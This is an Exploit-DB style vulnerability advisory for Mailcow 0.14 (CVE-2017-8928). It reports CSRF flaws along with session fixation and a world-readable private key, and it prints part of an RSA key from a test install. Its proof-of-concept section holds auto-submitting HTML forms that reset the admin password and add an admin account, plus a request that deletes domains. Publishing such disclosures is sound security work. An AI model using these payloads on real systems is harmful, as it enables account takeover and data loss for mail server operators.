Mailcow 0.14 - Cross-Site Request Forgery

EDB-ID:

42004




Platform:

PHP

Date:

2017-05-15


[+] Credits: John Page a.k.a hyp3rlinx	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MAILCOW-v0.14-CSRF-PASSWORD-RESET-ADD-ADMIN.txt
[+] ISR: ApparitionSec            
 


Vendor:
=============
mailcow.email
mailcow.github.io



Product:
===========
The integrated mailcow UI allows administrative work on your mail server instance as well as separated domain administrator and mailbox user access.



Vulnerability Type:
===================
CSRF
Password Reset / Add Admin / Delete Domains



CVE Reference:
==============
CVE-2017-8928



Security Issue:
================
mailcow 0.14, as used in "mailcow: dockerized" and other products, has CSRF vulnerabilities. If authenticated mailcow user visits a malicious webpage
remote attackers can execute the following exploits.


1) reset admin password
2) add arbitrary admin
3) delete domains



Other issues found in mailcow are as follows:

Session fixation:
=================
Session ID: Pre authentication and Post auth is the same, and does not change upon successful login.

ms22jsnl1dcpc4519rvpvfj0n6 - pre-authentication
ms22jsnl1dcpc4519rvpvfj0n6 - post-authentication


World Readable Private key "key.pem"
====================================
john@debian:/usr/local/mailcow-dockerized-master/data/assets/ssl$ whoami

john

john@debian:/usr/local/mailcow-dockerized-master/data/assets/ssl$ cat key.pem 

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0YNMU9wLfQ0m9x+TjKdytTKVwIGMqLUiuk0utXwtEBB8tnzF
4sLOwIHMnui5+whutxXtXjdo5HZXn8vcSYr0vMucNDPItevL+c58wvH58pS9ojok
mHyvwf6BKn1O2B+EXHoDud6AwyFGZouBa4J7u9/VVTlNWchxFahidh9mgCJKGUYx
s7pg/WJuC1honbSicwYBbf6poVHll4qTPMNvNV5EJyVO/fsdssJyUrxGd6/2VSQu
5G44lcPv5NeZPQsZOiJPMJidF//sVsaGaJh0CNSzNFSgEv4mlPeXZ9m6Zby+o04o
slgG6zI0irOF2z7f3yGzonDZI+vghctDFX8shwIDAQABAoIBAQC9kiLnIgxXGyZt
pmmYdA6re1jatZ2zLSp+DcY8ul3/0hs195IKCyCOOSQPiR520Pt0t+duP46uYZIJ

etc...


References:
============
https://github.com/mailcow/mailcow-dockerized/pull/268/commits/3c937f75ba5853ada175542d5c4849fb95eb64cd



Exploit/POC:
=============

[Admin Password Reset]

<form action="https://localhost/admin.php" method="post">
<input type="hidden" name="admin_user_now" value="admin">
<input type="hidden" name="admin_user" value="admin">
<input type="hidden" name="admin_pass" value="Abc12345">
<input type="hidden" name="admin_pass2" value="Abc12345">
<input type="hidden" name="trigger_set_admin" value="">
<script>document.forms[0].submit()</script>
</form>


HTTP Response:

'Changes to administrator have been saved"

//////////////////////


[Add Admin]

<form action="https://localhost/admin.php" method="post">
<input type="hidden" name="username" value="HELL">
<input type="hidden" name="password" value="Abc12345">
<input type="hidden" name="password2" value="Abc12345">
<input type="hidden" name="active" value="on">
<input type="hidden" name="trigger_add_domain_admin" value="localhost">
<script>document.forms[0].submit()</script>
</form>


////////////////////


[Delete domains]

https://localhost/mailbox.php
domain=myDomain&trigger_mailbox_action=deletedomain



Network Access:
===============
Remote



Severity:
=========
Medium



Disclosure Timeline:
=================================
Vendor Notification:  May 6, 2017
Vendor releases fix:  May 6, 2017
May 14, 2017  : Public Disclosure



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